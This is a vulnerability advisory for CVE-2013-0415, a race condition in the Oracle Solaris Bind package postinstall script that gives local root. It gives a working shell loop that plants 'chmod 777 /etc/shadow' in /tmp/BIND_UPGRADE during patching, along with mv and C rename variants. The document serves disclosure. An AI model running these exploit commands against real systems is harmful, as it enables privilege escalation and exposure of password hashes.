The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2013-01-14
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

Oracle Solaris Bind/Postinstall script for Bind package local root

#797 · 2013-01-14
CVE ID(s): CVE-2013-0415
Notified: 2013-01-15
Description:
Solaris Sparc patch cluster January 2013.
Exploit:
If the following is run:

while (true) ; do touch /tmp/BIND_UPGRADE ;echo "chmod 777 /etc/shadow" > /tmp/BIND_UPGRADE; done

during patch installation you can get /etc/shadow world writeable.

Vladz suggested:

Another approach to exploit this is to place your evil command in a file called /tmp/BIND_UPGRADE.new, and loop the move command.

$ while ! mv /tmp/BIND_UPGRADE.new /tmp/BIND_UPGRADE 2>/dev/null; do continue; done

or in C:

while (rename("/tmp/BIND_UPGRADE.new", "/tmp/BIND_UPGRADE") != 0) continue;

I am telling this because I think that moving a file takes less syscalls (one at least) than a "echo string >> file" that open(), write() and close() the file.
Notes:
89243